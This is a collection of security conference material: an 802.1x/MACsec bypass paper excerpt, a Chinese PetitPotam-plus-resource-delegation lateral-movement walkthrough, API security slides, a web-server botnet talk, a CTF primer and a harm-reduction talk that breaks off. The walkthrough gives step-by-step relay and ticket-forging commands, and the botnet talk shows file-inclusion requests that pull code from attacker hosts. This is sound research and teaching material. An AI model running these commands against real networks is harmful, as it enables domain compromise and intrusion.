device. The attack is simple, can be used to achieve full network interaction, and is reasonably stealthy so long as performed during off-hours when the affected supplicant is unlikely to be in use. V.2 Using Mechanical A/B Splitters Using the Rogue Device B configuration described in III.3 Rogue Device B: Mechanically Assisted Bypass, we can use the Bait n Switch attack to authenticate with networks protected by 802.1x-2010 and MACsec. When combined with the Rogue Gateway Attack described in VI. Defeating MACsec Using Rogue Gateway Attacks, this technique can bypass 802.1x-2010 in cases where weak EAP implementations are used. To begin the attack, we first introduce our rogue device to the network as shown in Figure 22 below. As we do this, we make sure that both A/B splitters are in position A, which preserves the direct physical link between the authenticator and supplicant. Page 25 of 37 Figure 22 – preparing to perform Bait n Switch using Rogue Device B configuration We then disconnect the supplicant from the network by bringing our PHY and bridge interfaces down and placing the splitters in the B position, which reroutes the physical link to the rogue device. Next, we set the MAC address of our upstream interface to the MAC address of the supplicant and use it to authenticate with the authenticator using stolen RADIUS credentials. Finally, we give our upstream interface a static IP address that matches the one previously assigned to the supplicant. Figure 23 – performing the Bait n Switch using Rogue Device B configuration VI. Defeating MACsec Using Rogue Gateway Attacks The 802.1x bypass techniques pioneered by Riley, “Abb,” Duckwall, and later improved upon by Legrand all take advantage of the same fundamental security issues that affect 802.1x-2004: the standard does not provide encryption or the ability to perform authentication on a packet-by-packet basis [3][4][6][7]. Page 26 of 37 To address these issues, the IEEE developed a new standard, 802.1x-2010, which uses MACsec to provide Layer 2 encryption and packet-by-packet integrity checks [7]. MACsec provides encryption on a hop-by-hop basis, which successfully mitigates the bridge-based attacks that we discussed in II. Background and Prior Work and IV. Improvements to Classical Bridge-based 802.1x Bypass while also providing network administrators with a means to inspect data in transit [7][8]. MACsec and 802.1x-2010 work in three phases: authentication and master key distribution, session key agreement, and session secure [7][8][9]. Authentication is intended to be performed using EAP, although 802.1x-2010 allows for a Pre-Shared Key (PSK) to be used as well, either as a fallback or as a direct replacement for EAP. Figure 24 When EAP is used as the authentication mechanism, the entire process is reminiscent of WPA2-EAP, in that it involves a supplicant (client device), authenticator (switch), and authentication server. When a device is first connected to a protected switch port, the authenticator initiates the EAP authentication process by sending an EAP- Request-Identity frame to the supplicant [7][8][9]. The supplicant then responds with its identity, which is forwarded by the authenticator to the authentication server as a RADIUS Access-Request message. Figure 25 At this point, the supplicant and authentication server negotiate an EAP type that supports Master Session Key (MSK) derivation, and the supplicant attempts to authenticate using the agreed-upon EAP type [7][8][9]. If authentication Page 27 of 37 succeeds, the supplicant and switch perform the session key agreement and then enter the Session Secure state, where MACsec’s Layer 2 encryption becomes active. Figure 26 With a couple of exceptions, which we will examine shortly, the hop-by-hop encryption provided by MACsec prevents attackers from bypassing 802.1x-2010 by bridging two network interfaces together as is possible with 802.1x-2004 [10]. Possible exceptions are provider bridges (PBs) and backbone bridges (PBBs), which warrant further investigation despite being outside the scope of this discussion [10]. However, it is possible for an attacker to introduce a rogue device to a network protected by 802.1x-2010 using more rudimentary methods. Page 28 of 37 VI.1 Defeating MACsec Using Rogue Gateway Attacks Significantly, 802.1x-2010 still uses EAP to authenticate new devices to the network [7]. As we described briefly in II. Background and Prior Work, there are many ways of implementing EAP, and most of them suffer from some sort of security issue. The 802.1x-2010 standard allows any EAP method so long as it meets the following mandatory requirements: § Supports mutual authentication between client and server § Supports derivation of keys that are at least 128 bits in length § Generates an MSK of at least 64 octets Most of the commonly seen weak EAP methods, including EAP-PEAP and EAP-TTLS, meet these requirements. It is up to individual vendors to decide whether or not these methods should be supported, and up to system administrators to choose EAP methods that can withstand man-in-the-middle attacks. The implication of support for weak EAP methods is that security of 802.1x-2010 deployments are still only strong as the EAP methods used. Unless the target deploys strong forms of EAP such as EAP-TLS or EAP-PEAP with globally enforced rejection of invalid certificates, an attacker can simply repurpose existing principles for attacking these authentication protocols as a means of bypassing port security. Consider a scenario in which EAP-TTLS provides authentication to a network secured using 802.1x-2010. The attacker could introduce a Rogue Device B between the supplicant and authenticator as shown in Figure 27 below. Figure 27 As described in III.3 Rogue Device B: Mechanically Assisted Bypass, this rogue device configuration makes use of two mechanically controlled A/B ethernet splitters: when the splitters are in the “A” position, the supplicant is allowed to communicate directly with the authenticator as shown in Figure 27 above. To initiate the attack, the attacker brings the upstream interface down and flips the splitters to the “B” position as shown in Figure 28 below. This provides direct connectivity between the rogue device and the supplicant. The attacker then starts hostapd as a rogue RADIUS server, configuring it to listen on the rogue device’s PHY interface. Page 29 of 37 Figure 28 The attacker then sends a spoofed EAPOL-Start frame to hostapd, causing hostapd to send an EAP-Request-Identity frame to the supplicant. In response, the supplicant attempts to authenticate with the rogue device. As long as the supplicant accepts the rogue device’s x.509 certificate, the attacker will capture an MS-CHAPv2 challenge and response from the supplicant which can be cracked to obtain plaintext credentials [13]. Once the attacker cracks the captured hashes, a Bait n Switch attack connects the rogue device to the network as shown in Figure 29 below. Figure 29 Page 30 of 37 VII. Dealing with Improvements to Peripheral Device Security Previously, we described how improved 802.1x support by peripheral devices such as multifunction printers has made it increasingly difficult to bypass wired port security by looking for policy exceptions. While improved adoption of 802.1x is a step in the right direction, it does not necessarily translate to strong port security for peripheral devices. 802.1x authentication relies upon EAP, and most forms of EAP have known security issues that have existed for over a decade [13]. Adoption rates for secure forms of EAP, such as EAP-TLS or EAP-PEAP with forced rejection of untrusted certificates, are relatively poor due to the complexity involved with deploying these technologies at scale [12]. For peripheral devices such as printers, the adoption of secure EAP is even worse, considering that very few cost-effective peripheral devices can be configured using Group Policy. Thus, while port-security exceptions for peripheral devices may not be as prevalent as they used to be, peripheral devices themselves are still highly viable entry points because they are less likely to be configured using strong forms of EAP. What is missing are techniques for attacking weak forms of EAP within a wired network. In this section, we introduce two attacks against EAP-MD5 and EAP-PEAP on wired networks, since these are the two forms of weak EAP most commonly used by peripheral devices and even some workstations. These attacks allow us to continue to use peripheral devices as entry points to networks protected by 802.1x-2004. VII.1 EAP-MD5 Forced Reauthentication Attack EAP-MD5 is one of the most widely used forms of EAP used to protect peripheral devices such as multifunction printers and cheap IP phones. Despite its many flaws, it is one of the easiest forms of EAP to setup and configure, which makes it particularly well suited for this purpose. VII.1.A Passive Attack Against EAP-MD5 Consider how we can use the existing attacks against EAP-MD5 described in II.4.A EAP-MD5 in conjunction with the classical 802.1x bypass described in II. Background and Prior Work and IV. Improvements to Classical Bridge-based 802.1x Bypass to attack peripheral devices. We can use bridges and MAC spoofing to place a rogue device between the supplicant and the authenticator, and use the rogue device to sniff EAPOL packets as the supplicant authenticates with the network. We also have proposed the Bait n Switch method described in V. Bate n Switch Attack: An Alternative To Packet Injection as a means of authenticating with a network protected by 80.1x. Using these attacks allows us to bypass 802.1x by locating a peripheral device (supplicant) that is configured to use EAP-MD5, installing a rogue device between the supplicant and the switch (authenticator), and waiting for the peripheral device to reauthenticate with the network. We then can sniff the EAP-MD5 challenge and response, use a dictionary attack to obtain the plaintext username and password, and finish by using a Bait n Switch attack to authenticate with the network. There is one major drawback to this approach: we must wait for the supplicant to reauthenticate with the switch. Realistically, this will not occur unless the device is unplugged, turned off, or becomes inactive for an extended period of time [16]. For our attack to be truly useful, we need to be able to force the device to reauthenticate. The most obvious way of doing this is to briefly disconnect the supplicant from the authenticator. However, for this to work we would have to physically disconnect the Ethernet cable from the bridge, as merely disabling a network interface briefly will not trigger reauthentication [16]. We can do this remotely if we’re using the Rogue Device B configuration for our rogue Page 31 of 37 device, but it would be better to have a solution that can be implemented using Rogue Device A, which has less overhead. A better approach is to perform an attack that takes advantage of the way the EAP authentication process is initiated. VII.1.B EAP-MD5 Forced Reauthentication Attack The first two steps of the EAP authentication process are: Step 1 – (optional) The supplicant sends the authenticator an EAPOL-Start frame [1][2][9]. Step 2 – The authenticator sends the supplicant an EAP-Request-Identity [1][2][9]. In order to provide a means for the authenticator to force the supplicant to reauthenticate, Step 1 is considered optional. EAP authentication can be initiated using Step 1 (EAPOL-Start) or Step 2 (EAP-Request-Identity) [1][2][9]. This approach, however, fails to provide the supplicant a means of verifying whether incoming EAP-Request-Identity frames have been sent in response to an EAPOL-Start frame, or whether reauthentication has been initiated independently by the authenticator itself. Regardless of whether the authentication process starts at Step 1 or Step 2, the structure of the EAP-Request-Identity frame remains the same. This means that we can force reauthentication by sending a forged EAPOL-start frame to the authenticator as if it came from the supplicant. This will cause the authenticator to believe that the supplicant is initiating authentication, which will cause the authenticator to send the supplicant an EAP-Request-Identity frame. The supplicant then receives the EAP-Request-Identity frame from the authenticator and responds with the next phase of the authentication process. The authentication process then proceeds as normal, as both the supplicant and the authenticator believe that the other party has initiated the transaction. Figure 30 – using Scapy to send EAPOL-Start frames Using this technique, we can upgrade our Passive Attack Against EAP-MD5 (see VII.1.A Passive Attack Against EAP- MD5) into an active one. We begin by introducing the rogue device to the network between the authenticator and supplicant, establishing a transparent bridge to passively sniff traffic. We then force reauthentication, sniffing the resulting EAP-MD5 challenge and response. We then use a dictionary attack to obtain plaintext credentials and connect to the network using a Bait n Switch. VII.1.C Proposed Mitigation to EAP Forced Reauthentication Attacks A safer way of initiating the EAP authentication process would be to include a safety-bit in the EAP-Request-Identity frame that is set to 1 when the frame was sent in response to an EAPOL-Start frame. When the supplicant receives an EAP-Request-Identity frame, it should check the value of the safety-bit. If the safety-bit is set to 1, and the supplicant did not recently issue an EAPOL-Start frame, the authentication process should be aborted and an alert sent to the authenticator. Page 32 of 37 VII.2 Leveraging Rogue Gateway Attacks Against Peripheral Devices The other forms of weak EAP commonly used by peripheral devices on wired networks are EAP-PEAP and EAP-TTLS, discussed earlier in II.4.A EAP-MD5 and II.4.B EAP-PEAP / EAP-TTLS. Attacking EAP-PEAP is considerably more involved than attacking EAP-MD5 since authentication occurs through a secure tunnel and consequently cannot be passively sniffed [13]. Fortunately, an adaptation of the rogue gateway technique discussed in VI. Defeating MACsec Using Rogue Gateway Attacks is useful in this scenario. This time, however, we do not need to use the Rogue Device B configuration since we are not dealing with a scenario involving MACsec. Instead, we can perform the attack completely in software using our transparent bridge as described in IV. Improvements to Classical Bridge-based 802.1x Bypass. VII.2.A Rogue Gateway Attack Against 802.1x-2004 and EAP-PEAP/EAP-TTLS We begin by placing our rogue device (A configuration) between the supplicant and authenticator as shown in Figure 31 below. Figure 31 Once we establish that the supplicant is configured to use EAP-PEAP, EAP-TTLS, or any similarly weak EAP implementation that does not enforce mutual certificate-based validation, we bring down our bridge and upstream network interfaces, as shown in Figure 32 below. We then start hostapd as a rogue RADIUS server and have it listen our PHY network interface. Page 33 of 37 Figure 32 We then send a spoofed EAPOL-start frame to hostapd, causing hostapd to send an EAP-Request-Identity frame to the supplicant (see: VII.1 EAP-MD5 Forced Reauthentication Attack). This causes the supplicant to authenticate with the rogue device. As long as the authorized client accepts the rogue device’s x.509 certificate, the attacker will succeed in capturing an MS-CHAPv2 challenge and response which can be used to obtain plaintext credentials. Finally, we connect the rogue device to the network using a Bait n Switch. Page 34 of 37 Figure 33 VIII. Proof of Concept and Source Code Release We have packaged each of the attacks described in this document into a tool called silentbridge, which can be downloaded at the following URL: § https://github.com/s0lst1c3/silentbridge The silentbridge repository contains both source code and documentation that describes how to build each of the rogue devices described in this paper. Page 35 of 37 Conclusion While 802.1x-2010 is a remarkable improvement over 802.1x-2004, weak authentication protocols can undermine the enhancements provided by MACsec. Even though 802.1x-2010’s use of MACsec successfully prevents the bridge and injection-based attacks introduced by “Abb” and Alva Duckwall, the protocol’s reliance on EAP means that the standard is only as secure as the EAP methods deployed. This is demonstrated by the effectiveness of the Rogue Gateway and Bait n Switch attacks introduced in this document. If parallels between MACsec and WPA2 are any indication, we can expect the use of weak EAP implementations to become more and more prevalent as adoption rates for 802.1x-2010 increase. This is especially true considering that the 802.1x-2010 standard does not mandate the use of strong EAP methods. Additionally, although improved 802.1x support by peripheral device manufacturers is a step in the right direction, it is not enough. We need to incentivize device manufacturers to create products that both support strong EAP implementations and make it easy for organizations to deploy them. Until then, peripheral devices will largely be susceptible to the Rogue Gateway, Bait n Switch, and EAP-MD5 Forced Reauthentication attacks introduced in this document. Furthermore, these devices will remain susceptible to the bridge and injection based 802.1x bypasses introduced by Duckwall and “Abb” until both adoption of and support for 802.1x-2010 becomes widespread. Finally, it is important to recognize that while the use of 802.1x port security should still be considered an industry best-practice, it is not a substitute for a layered approach to network security. The use of 802.1x, or any other form of access control for that matter, should not be considered a mitigation for other host and network level security issues. Deploying 802.1x is not a substitute for good patch management practices, nor should it be used to justify the use of dangerous networking protocols such as LLMNR. Page 36 of 37 Acknowledgements Special thanks to Dan Nelson, Justin Whitehead, and Ryan Jones for helping make this project a reality. Page 37 of 37 References × [1] http://www.ieee802.org/1/pages/802.1x-2001.html × [2] http://www.ieee802.org/1/pages/802.1x-2004.html × [3] https://blogs.technet.microsoft.com/steriley/2005/08/11/august-article-802-1x-on-wired-networks-considered-harmful/ × [4] https://www.defcon.org/images/defcon-19/dc-19-presentations/Duckwall/DEFCON-19-Duckwall-Bridge-Too-Far.pdf × [5] https://www.gremwell.com/marvin-mitm-tapping-dot1x-links × [6]https://hackinparis.com/data/slides/2017/2017_Legrand_Valerian_802.1x_Network_Access_Control_and_Bypass_Techniques.pd f × [7] https://www.cisco.com/c/en/us/products/collateral/ios-nx-os-software/identity-based-networking-services/deploy_guide_c17- 663760.html × [8] https://1.ieee802.org/security/802-1ae/ × [9] https://standards.ieee.org/findstds/standard/802.1X-2010.html × [10] http://www.ieee802.org/1/files/public/docs2013/ae-seaman-macsec-hops-0213-v02.pdf × [11] https://www.gremwell.com/linux_kernel_can_forward_802_1x × [12] https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html × [13]http://www.willhackforsushi.com/presentations/PEAP_Shmoocon2008_Wright_Antoniewicz.pdf × [14] https://link.springer.com/content/pdf/10.1007%2F978-3-642-30955-7_6.pdf × [15] https://support.microsoft.com/en-us/help/922574/the-microsoft-extensible-authentication-protocol-message-digest-5-eap × [16] https://tools.ietf.org/html/rfc3748 × [17] https://code.google.com/archive/p/8021xbridge/source/default/commits × [18] https://github.com/mubix/8021xbridge × [19] https://hal.inria.fr/hal-01534313/document × [20] https://sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1%2F2/ × [21] https://tools.ietf.org/html/rfc4017 × [22] http://web.archive.org/web/20160203043946/https:/www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/ × [23] https://crack.sh/ × [24] https://tools.ietf.org/html/rfc5216 × [25] https://4310b1a9-a-93739578-s-sites.googlegroups.com/a/riosec.com/home/articles/Open-Secure-Wireless/Open-Secure- Wireless.pdf?attachauth=ANoY7cqwzbsU93t3gE88UC_qqtG7cVvms7FRutz0KwK1oiBcEJMlQuUmpGSMMD7oZGyGmt4M2HaBhHFb0 7j8Gvmb_HWIE8rSfLKDvB0AI80u0cYwSNi5ugTP1JtFXsy1yZn8- 85icVc32PpzxLJwRinf2UGzNbEdO97Wsc9xcjnc8A8MaFkPbUV5kwsMYHaxMiWwTcE-A8Dp49vv- tmk86pNMaeUeumBw_5vCZ6C3Pvc07hVbyTOsjqo6C6WpfVhd_M0BNW0RQtI&attredirects=0 × [26] https://txlab.wordpress.com/2012/01/25/call-home-ssh-scripts/ × [27] https://txlab.wordpress.com/2012/03/14/improved-call-home-ssh-scripts/ × [28] https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3560/software/release/12- 2_37_se/command/reference/cr1/cli3.html#wp1948361 × [29] https://www.juniper.net/documentation/en_US/junos/topics/concept/port-security-persistent-mac-learning.html × [30] https://tools.ietf.org/html/rfc3579 × [31] https://tools.ietf.org/html/rfc5281
pdf
PetitPotam配合基于资源委派的横向技巧 原理:使用PetitPotam将目标主机的身份认证中继到dc的ldap服务配置资源委派,然后使用资源 委派获取目标主机权限。 当微软修复CVE-2019-1040的时候,顺便修了smb中继到ldap。 但是我们还能通过http中继到ldap,但前提条件是目标打开Webclient服务,server默认不安装, win7,win10默认安装但是需要手动打开服务。 条件: 域账户一个 目标主机需要打开Webclient服务 细节: PetitPotam可以发起http请求,然后将http中继到ldap http中继需要使用可信域名,域内dns即为可信域名 环境: DC:192.168.60.128 目标主机:192.168.60.133(WIN7) 攻击者:192.168.60.130(ubuntu) start 假设已经有了一个域普通用户账户,目标win7,开启webclient服务 1.用已知域普通用户,添加机器用户rbcd addcomputer.py sec.local/nortest:p@ssw0rd -method SAMR -computer-name rbcd - computer-pass Password123 -dc-host Ads.sec.local -dc-ip 192.168.60.128 -debug 2.用已知域普通用户,添加DNS解析到ubuntu 3.使用PetitPotam中继http请求 4.使用资源委派拿目标主机的票据 Invoke-DNSUpdate -DNSName ubuntu -DNSData 192.168.60.130 这里是因为没找到远程添加dns的工具,直接上域机器加DNS记录,(实际攻击场景中,控域内任意主机加 DNS,or 远程添加DNS记录,这里是测试偷懒) python3 PetitPotam.py -d sec.local -u nortest -p p@ssw0rd ubuntu@80/ubuntu.sec.local 192.168.60.133 sudo ntlmrelayx.py -t ldap://192.168.60.128 --delegate-access --escalate-user rbcd$   --no-dump -smb2support getST.py sec.local/rbcd$:Password123 -dc-ip 192.168.60.128 -spn cifs/WIN7.sec.local -impersonate administrator 5.导入票据并使用wmiexec执行命令,获取权限 export KRB5CCNAME=administrator.ccache wmiexec.py -dc-ip 192.168.60.128 -k -no-pass WIN7.sec.local whoami
pdf
从S-SDLC视角看API安全 【API威胁检测防御】专题研讨会 Silver Zhang 为何将API安全拧出来说 为何将API安全拧出来说 感冒 VS. 禽流感 感冒 VS. 禽流感 应用安全 VS. 移动安全 应用安全 VS. 移动安全 新业态 新业态 API历史沿革及风险评估 API面临的安全挑战 传输 存储 认证 授权 输入 输出 ➢ 客 户 端 不 支 持 加 密 传 输 协 议 怎 么 办 ➢ 客 户 需 要 走 非 加 密 支 持 代 理 ➢ 客 户 端 未 做 服 务 端 证 书 合 法 有 效 性 校 验 怎 么 办 ➢ 服 务 端 加 密 数 据 如 何 让 客 户 端 解 密 ➢ 客 户 的 服 务 端 与 客 户 端 都 在 使 用 同 一 API ➢ 密 钥 泄 露 了 怎 么 办 ➢ 客 户 的 客 户 端 与 服 务 端 都 支 持 登 录 过 程 处 理 ➢ 无 人 参 与 的 设 备 登 陆 认 证 问 题 ➢ 设 备 更 换 主 人 ➢ 预 设 权 限 与 客 户 业 务 映 射 ➢ 不 充 分 的 授 权 业 务 架 构 ➢ 不 正 确 的 授 权 ID 的 使 用 ➢ API 服 务 提 供 方 输 入 验 证 ➢ API 提 供 方 输 入 验 证 ➢ 调 用 方 输 入 验 证 匹 配 性 ➢ 输 出 编 码 ➢ 不 同 的 输 出 编 码 -CSV/JASON ➢ 仅 输 出 必 要 的 内 容 IoT攻击面分析 攻击面 是否涉及API 攻击面 是否涉及API 生态系统 √ 第三方后端API √ 设备内存 x 更新机制 √ 设备物理接口 乄 移动应用 √ 设备Web界面 √ 供应商后端API √ 设备固件 乄 生态系统交互 √ 设备网络服务 乄 网络流量 乄 管理界面 √ 认证/授权 √ 本地数据存储 乄 隐私 √ 云Web界面 乄 硬件(传感器) 乄 S-SDLC & API安全 需求 设计 实现 确认 DevOps 运维 场景 传输 乄 乄 乄 乄 乄 乄 √ 存储 √ √ √ √ 乄 √ √ 认证 √ √ √ √ 乄 √ √ 授权 √ √ √ √ 乄 √ √ 输入 √ √ √ √ 乄 √ √ 输出 √ √ √ √ 乄 √ √ API安全 API安全 API安全检测技术 人为构造所有可能的应用场景的Demo,通过正常应用安全测试完成… 与功能性自动化脚本融合,同步完成安全自动化测试… 借助现存的典型用户客户端完成全功能安全测试… 借助于Fuzz Test技术完成安全性测试… 借助于IAST技术完成安全性测试… 借助于RASP技术完成与业务强相关的恶意行为监测… 问题讨论-1 如 何 避 免 过 度 实 现 尚 未 开 放 的 功 能 ? 1. 无人知道对外提供的API竟然可以以 服务提供方的超级管理员身份登录 进去 2. 现实是:开发为了方便放开了口子 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 1. 无人知道对外提供的API竟然可以以 服务提供方的超级管理员身份登录 进去 2. 现实是:开发为了方便放开了口子 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 问题讨论-2 如 何 确 保 API 只 输 出 当 前 功 能 所 必 需 要 的 信 息 ? 1. 开发:我知道这些信息未来用得上, 所以干脆直接将更多的信息一并传 回客户端,反正前端也不会有人使 用它们 2. 现实:批量、敏感信息泄漏 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 1. 开发:我知道这些信息未来用得上, 所以干脆直接将更多的信息一并传 回客户端,反正前端也不会有人使 用它们 2. 现实:批量、敏感信息泄漏 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 问题讨论-3 最佳 实践 与现 实之 间的 矛盾 1. Web端提供多因子认证 2. 手机端API则不提供 1)易用性考虑 2) 客户的客户端不支持 *API特殊性决定了它一定会被深度使用* 1. Web端提供多因子认证 2. 手机端API则不提供 1)易用性考虑 2) 客户的客户端不支持 *API特殊性决定了它一定会被深度使用*
pdf
Web server botnets and hosting farms as attack platforms Gadi Evron – Beyond Security defcon 15 , 2007 About me Who I am.. What do I do.. Where do I work.. Regular malware Often… Platform specific (Architecture, OS) Propagates by the use of: Vulnerabilities (web server, mail client, remote accessible service) Social engineering (user “gullibility”) Propagates randomly (++) Affects desktops (++) Web server malware Often… Completely cross-platform (any web daemon supporting scripting languages) Propagates by the use of Google (and sometimes other search engines – "Powered by phpBB" ) Propagates from a pre-selected genetic pool (++) Affects servers (++) Which means… Malware and Bots Web server malware is cross-platform and up to now infected an astounding number of web servers ready to be commanded in botnets. Attack platforms (lotsa web servers) Collocation facilities, ISP server farms, hosting providers, etc. Previous work PHP shells – generally explored File inclusion attacks (RFI) – Thoroughly explored R57shell analysed (SpamThru by Joe Stewart, SecureWorks – formerly LURHQ) Non other significant work done in this field up to a few months ago when this paper was written. New work “Web server botnets and server farms as attack platforms (Kfir Damari, Noam Rathaus and myself. Virus Bulletin, February 1, 2007). “Know your Enemy: Web Application Threats”, Jamie Riden, Ryan McGeehan, Brian Engert, Michael Mueter. The Honeynet Project, February 7, 2007). The injection File inclusions are vulnerabilities in web applications which can allow an attacker to execute a script by including the file in an existing script, as an example by the use of the include() function in PHP. In some cases other types of vulnerabilities in web applications are also used, such as URL parsing code execution vulnerabilities, POST vulnerbailities and arbitrary file upload vulnerabilities. What an injection looks like The attack, in the form of an HTTP request: index.php?page=http://badguy.tld/ malware.cmd?cmd=ls The resulting PHP code: <? include ($_GET[page]); ?> causes the web server to act like a client and download the software in question. Main types of web server malware Foothold grabbers (beachhead) Remote shell (elaborate compromise tool) Bot Main uses for web server malware Anonymous messaging Spam Defacement Botnets See the “load DB” option? Example OwneD By [GaspeR]`- Group ShellBR Server: irc.undernet.org Canal: #ShellBRAconcelho a Quem For Testar As Shell`s Que mude As Cmd`s ! hxxp://wxw.che.yzu.edu.tw/Menu12/index.php?id=hxxp://sh ellbr.by.ru/cmd.txt? hxxp://wxw.cheapcheapsale.com/index.php3?function=hxxp: //shellbr.by.ru/cmd.txt? hxxp://wxw.chentaiji.pl/index.php?id=hxxp://shellbr.by. ru/cmd.txt?hxxp://wxw.chessitc.com/index.php?pagina=h xxp://shellbr.by.ru/cmd.txt? .. .. Example #2 New malware discovered: New version of C99shell Google: C99Shell tool, modified by Psych0 (other new malware also discovered, currently in DB – 243 samples) Example #3 Quoting, as the guy was excited: ‘This on its own isn't new, but rather the way the program is delivered. By using PHP's 'eval' function the new variant hides itself in a base64 encoded block of data, which is also "encrypted" - the characters are rotated so that they don't appear to be in "plain text".’ Interesting thing about #2 C&C channel … (or..?) Google search: c100.php Attack platforms? Low-cost hosting – 2-3K web sites per box. Any user can run any web application Web applications running on these are mostly PHP (open source availability) PHP has a ton of vulnerabilities (no, really?!?!) – open source availability, PHP is PHP is PHP is bad security and ugly code. Attack platforms? 3000 users… Any web application or script will run with the permissions of the web daemon Local exploits are abound (privilage escalation exploits for Linux kernel seen in one family especially – DDoS tools) Attack platforms? Detection VA scanning Look for known “bads” on system Patching User responsibility (may take time, “may” not happen) A patch may not exist Investment Contact user (just one?) Patch web site Clean server (not just web site) All imperfect, and mostly can’t fit a low-cost (or higher cost) hosting solution. Solutions? Disable in PHP: allow_url_fopen, allow_url_include Virtual environments/chrooted users – cost? Best practices – don’t allow surfing from a web server! – gonna last how long as a solution…? mod_security? Best practices – your own? Quietly patch known web applications? ☺ Boiling it down A battlefield with no escalation by good guys (Over-time, aggregated attacker IP addresses the same in over 85% of the cases). Can currently be compared to SMTP spam open relay days. The Web Honeynet Task Force 14 current members, among which are 2 of the biggest colos and hosting farms in the world. Allows for: Malware gathering C&C discovery IP blacklists URL blacklists Web server anti virus? ☺ Joining ☺ (and some new members) Impact IIS botnets Linux botnets New game Lotsa (from obvious to.. Not so much): Defacements, spam bots, .., and stolen databases. It’s about… The scale The cost The fact the bad guys just do what they want with close to no industry or community awareness Questions?
pdf
CTF 微⼼心得 ddaa Who am I • dada = ddaa = 0xddaa = 達達 != ⼤大⼤大 • Start to play CTF since last year • One of the members in HITCON CTF team. 3 故事的開始是這樣的 ⼤大四跨校選課,選修程式安全 http://wargame.cs.nctu.edu.tw Copyright ©2012 SQlab 4 幹,好難 (助教可以給更多 hint 嗎 T_T) 5 6 結果研究所不⼩小⼼心進了 SQLab…… 學⻑⾧長:”你們也有報名 HITCON ? 那當天就⼀一起來打 wargame 吧。“ 我:“......OAO ” 7 ⼀一題都沒解出來 T___T 可是拿到冠軍了,學⻑⾧長們太強了 XD
 8 ⼀一題都沒解出來 T___T 可是拿到冠軍了,學⻑⾧長們太強了 XD
 9 因為 CTF 很好玩 後來就⼀一直玩⼀一直玩⼀一直玩 (?) (不過⼀一開始都解不出來....) Before solving the problem… After solving the problem… 12 •30C3CTF 2013 NUMBERS 100 guess •猜數字 •破解偽隨機數⽣生成器 •Mersenne Twister •http://ddaa.logdown.com/posts/171272-30c3ctf- numbers-100-guess (到現在還是覺得這題不該只值 100 分啊 Q___Q) 第⼀一個解出的 CTF 題⺫⽬目 13 •30C3CTF 2013 NUMBERS 100 guess •猜數字 •破解偽隨機數⽣生成器 •Mersenne Twister •http://ddaa.logdown.com/posts/171272-30c3ctf- numbers-100-guess (到現在還是覺得這題不該只值 100 分啊 Q___Q) 第⼀一個解出的 CTF 題⺫⽬目 14 哇哦,CTF 好有趣,該如何⼊入⾨門呢? http://overthewire.org/wargames/ http://bright-shadows.net/ http://wargame.cs.nctu.edu.tw/ 15 1. 選⼀一題你認為⽐比較有趣 或是⽐比較有可能解的題⺫⽬目 如果完全沒有頭緒,得先 google ⼀一些題⺫⽬目相關的背景知識 16 2. 努⼒力看懂題⺫⽬目,接著試著想出這題的解法 如果⼀一時想不出來,也可以跟別⼈人討論看看 但別直接去找解答來看 >__< 17 3. 如果想法正確,恭喜成功拿到 flag :D 將過程寫成 write up,並且與其他⼈人交流做法~ 18 4. 如果想法錯誤,別氣餒,想想其他的解法 可能會花上數⼩小時、甚⾄至數天 但是在摸索的同時也會慢慢進步!! 19 5. 如果到最後還是想不出來 就看看其他⼈人的 write up 吧 :P 照著做⼀一遍,真正弄懂這題的解法
 下次遇到類似的題⺫⽬目就會做了! 20 其實打 CTF 只需要... 興趣+耐⼼心+求知慾 程式能⼒力, 逆向⼯工程, 密碼學, 演算法, 資訊隱藏, 鑑識分析, 滲透測試, … , etc 這些都可以慢慢學 XD The most important…… Never give up!!! 22 也可以參考台⼤大或交⼤大的課程網⾴頁 https://csie.ctf.tw/ http://secprog.cs.nctu.edu.tw/ ⼯工商時間 (誤)
pdf
Harm Reduction A Framework For Effective & Compassionate Security Guidance Kyle Tobener Blackhat 2022 Tiktok: @kyle.tobener Twitter: @kylekyle Story time DARE, Every 15, and similar programs likely increase alcohol intake. Why am I telling you this? Imagine that was your security program I want to help you give better security guidance I’m Kyle, harm reduction enthusiast 1. Accept that risk taking behaviors are here to stay 2. Prioritize reduction of negative consequences 3. Embrace compassion while providing guidance Let’s talk security guidance Example #1 Example #2 Example #3 This is use reduction What’s the harm? Nothing done about original incentives Use reduction may add social stigma Behaviors may have community impact Iatrogenesis Harm Reduction Enters The Chat Defining Harm Reduction: A set of practical strategies and ideas aimed at reducing the negative consequences associated with various human behaviors Origins of Harm Reduction Note: use reduction still relevant Applying Harm Reduction to Security 1. Accept that risk taking behaviors are here to stay 2. Prioritize reduction of negative consequences 3. Embrace compassion while providing guidance Why? Risk taking behaviors occur for a reason Use Reduction Is Not Efficient Use reduction programs can have unintended consequences. Iron Law of Prohibition Abstinence violation effect What does the research show? ● Alcohol Prohibition ○ Initial drop of 70% receded to 30% reduction over time. ○ Annual enforcement costs rose from $6M to $13M ● Teenage Pregnancy Prevention ○ Title V of the Social Security Act effectively guarantees >$100 Million for abstinence based pregnancy prevention ○ 6 years of congressional research found no program had any significant impact on stopping or delaying sex. ● War on drugs ○ Since 1971 the United States spent > $1 trillion dollars ○ Has not eradicated drug trade, potentially increased it. ● D.A.R.E. ○ Drug Abuse and Resistance Education program ○ Research shows it was entirely ineffective and in many cases increasing future harmful behaviors. Accept that eradication is not the goal Support use reduction with other measures Make risky behaviors less risky Be pragmatic, reduce unintended consequences Example #1 Example #2 Example #3 “Training efforts do not eradicate phishing susceptibility.” Lain, Kostiainen, and Capkun “People re-use complex passwords. People re-use frequently used passwords.” Wash, Rader, Berman, & Wellmer SOUPS 2016 1. Accept that risk taking behaviors are here to stay 2. Prioritize reduction of negative consequences 3. Embrace compassion while providing guidance Why? Eradication is not possible Individuals who cannot abstain take risks for themselves AND the population Risk is not binary. It exists on a spectrum. Any steps on risk spectrum towards lower harm are valuable Feasible + pragmatic + effective Harm reduction & use reduction work together What does the research show? ● E-cigarettes in UK v USA ○ USA banned. UK 